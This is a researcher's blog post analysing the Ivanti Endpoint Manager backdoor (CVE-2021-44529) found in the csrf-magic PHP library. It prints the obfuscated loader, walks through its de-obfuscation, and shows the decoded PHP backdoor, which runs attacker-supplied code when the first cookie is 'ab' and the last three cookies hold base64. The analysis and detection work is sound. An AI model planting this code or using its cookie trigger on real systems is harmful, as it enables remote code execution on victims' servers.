Code injection or backdoor: A new look at Ivanti’s CVE-2021-44529

In 2021, Ivanti patched a vulnerability that they called “code injection”. Rumors say it was a backdoor in an open source project. Let’s find out what actually happened!
ivanti
backdoor
php
CVE-2021-44529
csrf-magic
Author

Ron Bowes

Published

February 16, 2024

This is yet another, “Ron got nerdsniped by a thing and wasted enough time that he needs something to show for it” blog. Which, come to think of it, are pretty much all my blogs. :)

Awhile back, a tweet from Steven Seeley (ϻг_ϻε) caught my eye - an exploit for an issue mentioned in a tweet from nearly two years ago. The tweets link to an Ivanti Endpoint Manager advisory from 2021 and an exploit from 2022. The vulnerability is identified as CVE-2021-44529. I wasn’t aware of any of this, but I immediately got curious!

While finalizing this blog, I found this AttackerKB post from h00die-gr3y that covers the exact same material in roughly the same way. So if you don’t like my writing, go read that one :)

The software

In the thread, Tuan Anh Nguyen (@haxor31337) mentioned it’s a backdoor in csrf-magic. I googled csrf-magic backdoor, but found nothing except for that tweet. The tweet links to the project, but the project is dead and gone.

Every once in awhile, I remember that the Way Back Machine exists and is an invaluable resource! So I threw the URL into the search box and there it was - the backdoored file! That archive is from March/2022, but the last commit was from February/2014 (if you’re doing the math, the advisory came out 7 years after the last commit).

I found a fork of csrf-magic, but there’s no sign of the commit. I’d be very curious as to the provenance of that commit, whether any other software was affected, and just how long Ivanti Endpoint Manager was affected, but all the information seems to have been stuffed down the memory hole!

Level 1: De-obfuscating the backdoor

So I started reading the code, looking carefully for the backdoor. I thought it’d be carefully hidden, disguised as legit code somewhere in one of the functions. Eventually, I got to the bottom of the file and found:

// Obscure Tokens
$aeym="RlKHfsByZWdfcmVwfsbGFjZShhcnJheSgnLfs1teXHc9fsXHNdLyfscsJy9fsccy8nfsKSwgYXJyfsYXkoJycsfsJysn";
$lviw = str_replace("m","","msmtmr_mrmemplmamcme");
$bbhj="JGMofsJGEpPjMpefsyRrPSdjMTIzJzfstlfsY2hvICc8Jy4kay4nPic7ZXfsZfshbChiYXNlNjRfZGVjb2";
$hpbk="fsJGfsM9fsJ2NvdW50fsJzfsskYfsT0kXfs0NPT0tJRTtpZihyfsZfsXNldfsCgfskYfsSkfs9fsPSdhYicgJiYg";
$rvom="KSwgam9pbihhcnfsJheV9zbGljZSgkYSwkYyfsgkYSktMyfskpfsKSkpOfs2VjaG8gJzwvJy4fskay4nPic7fQ==";
$xytu = $lviw("oc", "", "ocbocaocseoc6oc4_ocdoceoccocoocdoce");
$murp = $lviw("k","","kckrkeaktkek_kfkunkcktkikokn");
$zmto = $murp('', $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom))); $zmto();

Which... lol. Way to blend in, folks! Next time, maybe you can add some flashing lights?

So, much like h00die-gr3y, I decided not to put a lot of brainpower into figuring this out, and instead to let it decode itself. I did it in small chunks, because when I’m working with malware I try not to do anything that might compromise my analysis host (which, for what it’s worth, is a throwaway VM in AWS that I created just for this).

First, $lviw:

$ php -r 'echo str_replace("m","","msmtmr_mrmemplmamcme");'
str_replace

...right, that was obvious. then $xytu is pretty obvious:

$ php -r 'echo str_replace("oc", "", "ocbocaocseoc6oc4_ocdoceoccocoocdoce");'
base64_decode

and, of course, $murp:

$ php -r 'echo str_replace("k","","kckrkeaktkek_kfkunkcktkikokn");'
create_function

I assume that my highlighter is making that red because it’s deprecated? Dunno!

Also, not gonna lie, this is my favourite obfuscation I’ve ever seen.

And finally, the last line:

$zmto = $murp('', $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom))); $zmto();

If we substitute the variables we’ve solved, we both earn our math degree and find a much more sensible function:

$zmto = create_function('', base64_decode(str_replace("fs", "", $hpbk.$bbhj.$aeym.$rvom))); $zmto();

Clever! This time they used fs instead of k to obfuscate. They nearly had me, but now we can fix the base64:

$ php -r 'echo str_replace("fs","","fsJGfsM9fsJ2NvdW50fsJzfsskYfsT0kXfs0NPT0tJRTtpZihyfsZfsXNldfsCgfskYfsSkfs9fsPSdhYicgJiYgJGMofsJGEpPjMpefsyRrPSdjMTIzJzfstlfsY2hvICc8Jy4kay4nPic7ZXfsZfshbChiYXNlNjRfZGVjb2RlKHfsByZWdfcmVwfsbGFjZShhcnJheSgnLfs1teXHc9fsXHNdLyfscsJy9fsccy8nfsKSwgYXJyfsYXkoJycsfsJysnKSwgam9pbihhcnfsJheV9zbGljZSgkYSwkYyfsgkYSktMyfskpfsKSkpOfs2VjaG8gJzwvJy4fskay4nPic7fQ==");'
JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSdhYicgJiYgJGMoJGEpPjMpeyRrPSdjMTIzJztlY2hvICc8Jy4kay4nPic7ZXZhbChiYXNlNjRfZGVjb2RlKHByZWdfcmVwbGFjZShhcnJheSgnL1teXHc9XHNdLycsJy9ccy8nKSwgYXJyYXkoJycsJysnKSwgam9pbihhcnJheV9zbGljZSgkYSwkYygkYSktMykpKSkpO2VjaG8gJzwvJy4kay4nPic7fQ==

and decode it:

$ echo -ne 'JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSdhYicgJiYgJGMoJGEpPjMpeyRrPSdjMTIzJztlY2hvICc8Jy4kay4nPic7ZXZhbChiYXNlNjRfZGVjb2RlKHByZWdfcmVwbGFjZShhcnJheSgnL1teXHc9XHNdLycsJy9ccy8nKSwgYXJyYXkoJycsJysnKSwgam9pbihhcnJheV9zbGljZSgkYSwkYygkYSktMykpKSkpO2VjaG8gJzwvJy4kay4nPic7fQ==' | base64 -d
$c='count';$a=$_COOKIE;if(reset($a)=='ab' && $c($a)>3){$k='c123';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';}

Oh hey, some PHP code! Welcome to level 2!

Level 2: Understanding the backdoor

So now we have this backdoor code:

$c='count';$a=$_COOKIE;if(reset($a)=='ab' && $c($a)>3){$k='c123';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';}

I ran it through an online PHP formatter (which hopefully doesn’t execute it!) and ended up with something much cleaner:

<?php
$c = 'count';
$a = $_COOKIE;
if (reset($a) == 'ab' && $c($a) > 3) {
    $k = 'c123';
    echo '<' . $k . '>';
    eval(base64_decode(preg_replace(array(
        '/[^\w=\s]/',
        '/\s/'
    ), array(
        '',
        '+'
    ), join(array_slice($a, $c($a) - 3)))));
    echo '</' . $k . '>';
}
?>

I went through and tried to tidy it up a bit - I substituted variables, broke out nested function calls, made the double-preg_replace call into two different preg_replace calls, added comments, etc:

<?php
// The first cookie must have the value of 'ab', and there must be more then
// three cookies
if (reset($_COOKIE) == 'ab' && count($_COOKIE) > 3) {
  // Echo <c123>, presumably to recognize the backdoor
  echo '<c123>';

  // Join the values of the last three cookies
  $code = join(array_slice($_COOKIE, count($_COOKIE) - 3));

  // Remove everything except "word" characters, "=" signs, and whitespace
  $code = preg_replace('/[^\w=\s]/', '');

  // Replace any whitespace character with "+"+
  $code = preg_replace('/\s/', '+');

  // Base64-decode the resulting code
  $code = base64_decode($code);

  // Run it - no more create_function() nonsense this time!
  eval($code);

  // Gotta have well-formed XML!
  echo '</c123>';
}
?>

And there you have it! It requires at least 4 cookies, the first cookie must have the value “ab”, and the final three cookies are concatenated, decoded as slightly-obfuscated base64, and executed.

I wish I knew more the backstory here!

Exploit / detection

It seems like this would be pretty easy to write an exploit for and... oh, h00die-gr3y already wrote a Metasploit module.

In that case, I should just write a GreyNoise tag and... oh, we already have one. I guess pre-Ron GreyNoise was on top of things!

In the end, I pared down our tag to be a bit more generic, but otherwise this was just an interesting diversion. As far as I can tell, nobody’s really using this vulnerability anymore, so it’s just an interesting historical relic.

Hope you enjoyed this post!